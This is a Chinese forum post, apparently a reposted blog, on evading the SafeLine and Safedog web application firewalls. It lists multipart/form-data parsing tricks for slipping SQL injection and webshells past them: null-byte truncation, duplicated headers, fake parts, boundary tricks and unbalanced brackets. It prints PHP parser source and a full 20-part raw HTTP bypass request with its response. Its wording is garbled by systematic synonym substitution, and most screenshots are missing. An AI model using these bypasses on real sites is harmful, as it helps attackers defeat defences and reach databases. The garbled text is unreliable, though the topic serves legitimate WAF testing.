网络安全-长亭雷池waf的sql绕过,安全狗绕过(5种绕过3+2) ...

种地  金牌会员 | 2024-10-12 18:20:22 | 显示全部楼层 | 阅读模式
打印 上一主题 下一主题

主题 711|帖子 711|积分 2133

目录

一、环境
二、解说
三、绕过前思绪整理
3.1 思绪
3.1.1 入门思绪 0x00截断filename
3.1.2 双写上传描述行(差异绕过)【乐成】
3.1.3双写整个 part 开头部分
3.1.4 构造假的 part 部分 1【乐成】
3.1.5 构造假的 part 部分2【乐成】
3.1.6 两个 boundary
3.1.7 两个 Content-Type
3.1.8 空格 boundary
3.1.9 boundary 中的逗号
3.2 思绪
3.2.1 高级00截断【乐成&失败】
3.2.2 boundary 进阶
3.2.3 两个 boundary 如何取值
3.2.4 单双引号混进阶
3.2.5 urlencoded 伪装成为 multipart
3.3 思绪
3.3.1. skip_upload 进阶 1
3.4拔高
四、偕行对比安全狗waf
4.1 环境
4.2操纵
五、雷池webshell免杀查抄


一、环境

雷池官网docker安装我的版本是

看官网介绍主要防御top10

二、解说

我这里只描述通用型绕过,对于变乱型不多描述,因为通用型的绕过是通杀的,差异化绕过

正常来说我们是因为没有一个很好的过滤所以造成第11关靶场的绕过

但是现在有了长亭的waf加入我们直接被拦截
 

 那我们拿不到数据,怎么处理,我们一步步更换函数,看这个waf杀的是什么函数,这都是我乱写的根本没什么威胁

这根本不是一个正常的函数,但是还是被杀了
 经过测试发现它其实杀的是and和我们的一个报错函数另有一个系统函数,现在出现系统函数都会报错

三、绕过前思绪整理

我们来看看大佬分析的腾讯WAF绕过挑衅赛的思绪,正如大佬所说:对于一个 HTTP 请求,Nginx 解析了什么内容?交给后面的 PHP、ASP 又解析了什么内容?

multipart/form-data 。我们知道,HTTP 协议 POST 请求,除了常规的 application/x-wwwform-urlencoded 以外,另有 multipart/form-data 这种形式,主要是为相识决上传文件场景 下文件内容较大且内置字符不可控的问题。multipart/form-data 格式也是可以传递 POST 参 数的。对于 Nginx+PHP 的架构,Nginx 现实上是不负责解析 multipart/form-data 的 body 部 分的,而是交由 PHP 来解析,因此 WAF 所获取的内容就很有大概与后端的 PHP 发生不一 致。 
这句话也是我们绕过的焦点
举个例子
以php为例,我们写一个简单的绕过脚本

 我们将报文转为multipart/form-data一个形式来举行一个上传值

此时,我们将其转为 multipart/form-data 格式:

可以看到,现实上和前一种 urlencoded 是到达了同一种结果,参数并没有进入$_FILES 数组,而是进入了$_POST 数组。那么,何时是上传文件?何时是 POST 参数呢?这个关键 点在于有没有一个完整的 filename=。这 9 个字符是经过反复测试的,缺一个字符不可,替 换一个字符也不可,在此中添加一个字符更不可。 加上了 filename=以后的结果:
 可以见得filename这几个字段少一个都不行
Bypass WAF 的焦点思想在于,一些 WAF 产品处于低沉误报考虑,对用户上传文件的内容不做匹配,直接放行。究竟上,这些内容在绝大多数场景也无法引起攻击。但关键问题在于,WAF 能否正确有效辨认出哪些内容是传给$_POST 数组的,哪些传给$_FILES 数组?假如不能,那我们是否就可以想办法让 WAF 以为我们是在上传文件,而现实上却是在 POST 一个参数,这个参数可以是命令注入、SQL 注入、SSRF 等任意的一种攻击,如许就实现了通用 WAF Bypass。
那焦点思想就出来了让waf认为我们是上传文件,其实我们是POST一个数据
3.1 思绪

3.1.1 入门思绪 0x00截断filename

入门思绪0X00截断(只限于php5.2版本遇见\0自动竣事,因为php底层是c语言,c语言遇见\0就会竣事)

简单来说市面上的南墙waf,宝塔云waf都是可以绕过的,我们测雷池waf先测一个字段,去11关改代码,passwd全删掉,我们只看username

我改了但是我还是正常查询数据

我们抓包后这个name用我们刚才的multipart/form-data格式提交上去看起来已经乐成了,后端确实把它当做一个POST提交了

关键是WAF怎么认为,我们直接恶意代码上,简单的代码修改,没绕过

 注意在 filename 之前加入了 0x00,而有些 WAF 在检测前会删除 HTTP 协议中的 0x00, 如许就导致了 WAF 认为是含有 filename 的普通上传,而后端 PHP 则认为是 POST 参数。(有些waf可以)
3.1.2 双写上传描述行(差异绕过)【乐成】

php获取第一个,waf获取第二个就可乐成

爆出来的错误是select这个参数不统一

1,2出现是真的乐成了吗

试试user()

只要骗过它一次,它后面就不会拦你

3.1.3双写整个 part 开头部分

没有绕过


找一下原因吧

原来是将我们后面所有数据当成一个post提交了,自然绕不外了

3.1.4 构造假的 part 部分 1【乐成】


绕过,该方法与前一种类似
3.1.5 构造假的 part 部分2【乐成】

当然另有很多绕过方案,我至少还掌握了三种,接下来下一篇看看雷池对于我们webshell的免杀

3.1.6 两个 boundary

迷惑waf让waf取b,php取a
很遗憾waf的取值和php取值一样,取的第一个未乐成

跟上一个行为一样,waf跟php还是取的第一个

3.1.7 两个 Content-Type

长亭waf和php是一个行为还是取的第一个

3.1.8 空格 boundary

依然被杀掉

3.1.9 boundary 中的逗号

很遗憾waf也取的是a

3.2 思绪

3.2.1 高级00截断【乐成&失败】

前面,我们介绍了,假如是如许双写,其实是以第一行为主的,如许就是上传文件。但 假如我们在得当的地方加入 0x00、空格和 \t ,就会破坏第一行,让 PHP 反以第二行为主
第一次截断失败,取的是第一个直接数据都进不去了

第二次,破坏第一行waf还是取的第二行失败

第三次破坏第一行取第二行乐成

固然说截断长亭追的挺死,但是三个截断方法总有一个可以绕过,这三个位置是首选的。将其更换为 0x00 和 0x20 与之同理, 大家可自行测试
 另有一种可以绕过在uname处

3.2.2 boundary 进阶

boundary 的名称是可以前后加入任意内容的,WAF 假如严格按 boundary 去取,又要上当了。 第一个 Content-Type 和冒号部分填入了空格

第二种方法报错直接400,nginx错误,我尝试更换了很多版本,nginx1.15版本是可以的,大于1.15官方估计修改了Type这个漏洞

3.2.3 两个 boundary 如何取值

很明显固然取的第一个但是长亭的waf还是没有绕过,和php取值是同等的

3.2.4 单双引号混进阶

我们需要考虑的问题是,Content-Disposition 中的字段使用单引号还是双引号?
我的本意是通过不规则的单双引号破坏掉文件上传的form取值
拦截

3.2.5 urlencoded 伪装成为 multipart


这个 poc 很特殊。现实上是 urlencoded,但是伪装成了 multipart,通过&来截取前后装 饰部分,保存 id 参数的完整性。理论上 multipart/form-data 下的内容不举行 urldecoded, 一些 WAF 也正是如许设计的,如许做本没有问题,但是假如是 urlencoded 格式的内容,不 举行 url 解码就会引入%0a 如许字符,而如许的字符不解码是可以直接绕过防护规则的,从 而导致了绕过
3.3 思绪

3.3.1. skip_upload 进阶 1

在 PHP 中,现实上是有一个 skip_upload 来控制上传行是否为上传文件的。来看如许 一个例子

前面内容中我们介绍了,假如在第一行的 Content-Disposition 位置添加\0,是有大概引 起第一行失效,从而从上传文件变为 POST 参数的。除此以外,我们来看一下 php 源码 php5.3.3/main/rfc1867.c ,此中 line: 991 有如许一段内容:
  1. if (!skip_upload) {
  2. char *tmp = param;
  3. long c = 0;
  4. while (*tmp) {
  5. if (*tmp == '[') {
  6. c++;
  7. } else if (*tmp == ']') {
  8. c--;
  9. if (tmp[1] && tmp[1] != '[') {
  10. skip_upload = 1;
  11. break;
  12. }
  13. }
  14. if (c < 0) {
  15. skip_upload = 1;
  16. break;
  17. }
  18. tmp++; }
  19. }
复制代码
此中的 param 参数是 name="f" 也就是 id 这个参数,那么叨教,如何能让它 skip_upload 呢? 没错,一些明确代码寄义的同砚应该已经有答案了。通过想办法进入 c < 0,c 原本是 0,遇到[ 就自增 1,遇到]就减一。那么,我们构造 name="f]" 即可让 c=-1。
究竟上,只要参数中有不成对匹配的左右中括号都可以引发 skip_upload。
我们直接开始测试,固然很奥妙,但是waf不给机会

3.4拔高

 需要继续研究代码。在 php 源码 rfc1867.c line 909
  1. /* If file_uploads=off, skip the file part */
  2. if (!PG(file_uploads)) {
  3. skip_upload = 1;
  4. } else if (upload_cnt <= 0) {
  5. skip_upload = 1;
  6. sapi_module.sapi_error(E_WARNING, "Maximum number of allowable
  7. file uploads has been exceeded");
  8. }
复制代码
Maximum number of allowable file uploads has been exceeded ,如何到达 Maximum? 发现在 php 5.2.12 和以上的版本,有一个隐藏的文件上传限定是在 php.ini 里没有的,就是 这个 max_file_uploads 的设定,该默认值是 20, 在 php 5.2.17 的版本中该值已不再隐藏。文 件上传限定最大默认设为 20,所以一次上传最大就是 20 个文档,所以超出 20 个就会出错 了。 那么:
  1. POST /8.php HTTP/1.1
  2. Host: 127.0.0.1
  3. Content-Type: multipart/form-data;boundary=a;
  4. Content-Length: 2065
  5. --a
  6. Content-Disposition: form-data; name="a";filename="1.png"
  7. Content-Type: image/png
  8. a
  9. --a
  10. Content-Disposition: form-data; name="b";filename="1.png"
  11. Content-Type: image/png
  12. b
  13. --a
  14. Content-Disposition: form-data; name="c";filename="1.png"
  15. Content-Type: image/png
  16. a
  17. --a
  18. Content-Disposition: form-data; name="d";filename="1.png"
  19. Content-Type: image/png
  20. b
  21. --a
  22. Content-Disposition: form-data; name="e";filename="1.png"
  23. Content-Type: image/png
  24. a
  25. --a
  26. Content-Disposition: form-data; name="f";filename="1.png"
  27. Content-Type: image/png
  28. b
  29. --a
  30. Content-Disposition: form-data; name="g";filename="1.png"
  31. Content-Type: image/png
  32. a
  33. --a
  34. Content-Disposition: form-data; name="h";filename="1.png"
  35. Content-Type: image/png
  36. b
  37. --a
  38. Content-Disposition: form-data; name="i";filename="1.png"
  39. Content-Type: image/png
  40. a
  41. --a
  42. Content-Disposition: form-data; name="j";filename="1.png"
  43. Content-Type: image/png
  44. b
  45. --a
  46. Content-Disposition: form-data; name="k";filename="1.png"
  47. Content-Type: image/png
  48. a
  49. --a
  50. Content-Disposition: form-data; name="l";filename="1.png"
  51. Content-Type: image/png
  52. b
  53. --a
  54. Content-Disposition: form-data; name="m";filename="1.png"
  55. Content-Type: image/png
  56. a
  57. --a
  58. Content-Disposition: form-data; name="n";filename="1.png"
  59. Content-Type: image/png
  60. b
  61. --a
  62. Content-Disposition: form-data; name="o";filename="1.png"
  63. Content-Type: image/png
  64. a
  65. --a
  66. Content-Disposition: form-data; name="p";filename="1.png"
  67. Content-Type: image/png
  68. b
  69. --a
  70. Content-Disposition: form-data; name="q";filename="1.png"
  71. Content-Type: image/png
  72. a
  73. --a
  74. Content-Disposition: form-data; name="r";filename="1.png"
  75. Content-Type: image/png
  76. b
  77. --a
  78. Content-Disposition: form-data; name="s";filename="1.png"
  79. Content-Type: image/png
  80. a
  81. --a
  82. Content-Disposition: form-data; name="t";filename="1.png"
  83. Content-Type: image/png
  84. b
  85. --a
  86. Content-Disposition: form-data; name="id";filename="1.png"
  87. Content-Type: image/png
  88. --a
  89. Content-Disposition: form-data; name="id";
  90. Content-Type: image/png
  91. alert(1)
  92. --a--
  93. HTTP/1.1 200 OK
  94. Server: nginx/1.19.5
  95. Date: Thu, 03 Mar 2022 07:14:14 GMT
  96. Content-Type: text/html; charset=UTF-8
  97. Connection: keep-alive
  98. X-Powered-By: PHP/7.3.11
  99. Content-Length: 4507
  100. POST content:
  101. POST:array(1) {
  102. ["id"]=>
  103. string(8) "alert(1)"
  104. }
  105. FILES:array(20) {
  106. ["a"]=>
  107. array(5) {
  108. ["name"]=>
  109. string(5) "1.png"
  110. ["type"]=>
  111. string(9) "image/png"
  112. ["tmp_name"]=>
  113. string(26) "/private/var/tmp/php1FFea0"
  114. ["error"]=>
  115. int(0)
  116. ["size"]=>
  117. int(1)
  118. }
  119. ["b"]=>
  120. array(5) {
  121. ["name"]=>
  122. string(5) "1.png"
  123. ["type"]=>
  124. string(9) "image/png"
  125. ["tmp_name"]=>
  126. string(26) "/private/var/tmp/phpGwwobf"
  127. ["error"]=>
  128. int(0)
  129. ["size"]=>
  130. int(1)
  131. }
  132. ["c"]=>
  133. array(5) {
  134. ["name"]=>
  135. string(5) "1.png"
  136. ["type"]=>
  137. string(9) "image/png"
  138. ["tmp_name"]=>
  139. string(26) "/private/var/tmp/phpmJOlzI"
  140. ["error"]=>
  141. int(0)
  142. ["size"]=>
  143. int(1)
  144. }
  145. ["d"]=>
  146. array(5) {
  147. ["name"]=>
  148. string(5) "1.png"
  149. ["type"]=>
  150. string(9) "image/png"
  151. ["tmp_name"]=>
  152. string(26) "/private/var/tmp/phpL9SbXe"
  153. ["error"]=>
  154. int(0)
  155. ["size"]=>
  156. int(1)
  157. }
  158. ["e"]=>
  159. array(5) {
  160. ["name"]=>
  161. string(5) "1.png"
  162. ["type"]=>
  163. string(9) "image/png"
  164. ["tmp_name"]=>
  165. string(26) "/private/var/tmp/php5TEkl4"
  166. ["error"]=>
  167. int(0)
  168. ["size"]=>
  169. int(1)
  170. }
  171. ["f"]=>
  172. array(5) {
  173. ["name"]=>
  174. string(5) "1.png"
  175. ["type"]=>
  176. string(9) "image/png"
  177. ["tmp_name"]=>
  178. string(26) "/private/var/tmp/phpeAzjtW"
  179. ["error"]=>
  180. int(0)
  181. ["size"]=>
  182. int(1)
  183. }
  184. ["g"]=>
  185. array(5) {
  186. ["name"]=>
  187. string(5) "1.png"
  188. ["type"]=>
  189. string(9) "image/png"
  190. ["tmp_name"]=>
  191. string(26) "/private/var/tmp/phpKQX29k"
  192. ["error"]=>
  193. int(0)
  194. ["size"]=>
  195. int(1)
  196. }
  197. ["h"]=>
  198. array(5) {
  199. ["name"]=>
  200. string(5) "1.png"
  201. ["type"]=>
  202. string(9) "image/png"
  203. ["tmp_name"]=>
  204. string(26) "/private/var/tmp/phpN259vi"
  205. ["error"]=>
  206. int(0)
  207. ["size"]=>
  208. int(1)
  209. }
  210. ["i"]=>
  211. array(5) {
  212. ["name"]=>
  213. string(5) "1.png"
  214. ["type"]=>
  215. string(9) "image/png"
  216. ["tmp_name"]=>
  217. string(26) "/private/var/tmp/phpKjE3L1"
  218. ["error"]=>
  219. int(0)
  220. ["size"]=>
  221. int(1)
  222. }
  223. ["j"]=>
  224. array(5) {
  225. ["name"]=>
  226. string(5) "1.png"
  227. ["type"]=>
  228. string(9) "image/png"
  229. ["tmp_name"]=>
  230. string(26) "/private/var/tmp/phpxK3Ja2"
  231. ["error"]=>
  232. int(0)
  233. ["size"]=>
  234. int(1)
  235. }
  236. ["k"]=>
  237. array(5) {
  238. ["name"]=>
  239. string(5) "1.png"
  240. ["type"]=>
  241. string(9) "image/png"
  242. ["tmp_name"]=>
  243. string(26) "/private/var/tmp/phpKfmKKS"
  244. ["error"]=>
  245. int(0)
  246. ["size"]=>
  247. int(1)
  248. }
  249. ["l"]=>
  250. array(5) {
  251. ["name"]=>
  252. string(5) "1.png"
  253. ["type"]=>
  254. string(9) "image/png"
  255. ["tmp_name"]=>
  256. string(26) "/private/var/tmp/phpGbWp4q"
  257. ["error"]=>
  258. int(0)
  259. ["size"]=>
  260. int(1)
  261. }
  262. ["m"]=>
  263. array(5) {
  264. ["name"]=>
  265. string(5) "1.png"
  266. ["type"]=>
  267. string(9) "image/png"
  268. ["tmp_name"]=>
  269. string(26) "/private/var/tmp/phpfb4WGA"
  270. ["error"]=>
  271. int(0)
  272. ["size"]=>
  273. int(1)
  274. }
  275. ["n"]=>
  276. array(5) {
  277. ["name"]=>
  278. string(5) "1.png"
  279. ["type"]=>
  280. string(9) "image/png"
  281. ["tmp_name"]=>
  282. string(26) "/private/var/tmp/phpiW4wAU"
  283. ["error"]=>
  284. int(0)
  285. ["size"]=>
  286. int(1)
  287. }
  288. ["o"]=>
  289. array(5) {
  290. ["name"]=>
  291. string(5) "1.png"
  292. ["type"]=>
  293. string(9) "image/png"
  294. ["tmp_name"]=>
  295. string(26) "/private/var/tmp/phpHuAUlt"
  296. ["error"]=>
  297. int(0)
  298. ["size"]=>
  299. int(1)
  300. }
  301. ["p"]=>
  302. array(5) {
  303. ["name"]=>
  304. string(5) "1.png"
  305. ["type"]=>
  306. string(9) "image/png"
  307. ["tmp_name"]=>
  308. string(26) "/private/var/tmp/phpg9JuPK"
  309. ["error"]=>
  310. int(0)
  311. ["size"]=>
  312. int(1)
  313. }
  314. ["q"]=>
  315. array(5) {
  316. ["name"]=>
  317. string(5) "1.png"
  318. ["type"]=>
  319. string(9) "image/png"
  320. ["tmp_name"]=>
  321. string(26) "/private/var/tmp/phpOm7Vx9"
  322. ["error"]=>
  323. int(0)
  324. ["size"]=>
  325. int(1)
  326. }
  327. ["r"]=>
  328. array(5) {
  329. ["name"]=>
  330. string(5) "1.png"
  331. ["type"]=>
  332. string(9) "image/png"
  333. ["tmp_name"]=>
  334. string(26) "/private/var/tmp/phpg1iKx9"
  335. ["error"]=>
  336. int(0)
  337. ["size"]=>
  338. int(1)
  339. }
  340. ["s"]=>
  341. array(5) {
  342. ["name"]=>
  343. string(5) "1.png"
  344. ["type"]=>
  345. string(9) "image/png"
  346. ["tmp_name"]=>
  347. string(26) "/private/var/tmp/phpKnTJgz"
  348. ["error"]=>
  349. int(0)
  350. ["size"]=>
  351. int(1)
  352. }
  353. ["t"]=>
  354. array(5) {
  355. ["name"]=>
  356. string(5) "1.png"
  357. ["type"]=>
  358. string(9) "image/png"
  359. ["tmp_name"]=>
  360. string(26) "/private/var/tmp/phpJaXwzl"
  361. ["error"]=>
  362. int(0)
  363. ["size"]=>
  364. int(1)
  365. }
  366. }
复制代码
 假如删除前面的 a-t 共计 20 个构造的 part,现实的结果并不能引起 POST 攻击。如下图所示:

但是,假如拼接了这 20 个 part,现实上就填满了 Maximum,导致最后一个 upload 无法生效,就只能从 FILES 转化为 POST 了 
但是很遗憾没有绕过

四、偕行对比安全狗waf

4.1 环境

安全狗官网下载即可apache版本
4.2操纵

继绕过长亭waf我们来看看安全狗的webshell绕过,还是一样的样本,换汤不换药去测试一下

00截断是有返回的没有报错

直接绕过

相比于长亭的waf,安全狗的防御力更弱,根本版00可以直接绕过
五、雷池webshell免杀查抄

很常见的webshell回调后门吧

没杀,但是安全狗和河马一定会杀掉

我们再太过一点


 今天的技术分析就到这里了

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

种地

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表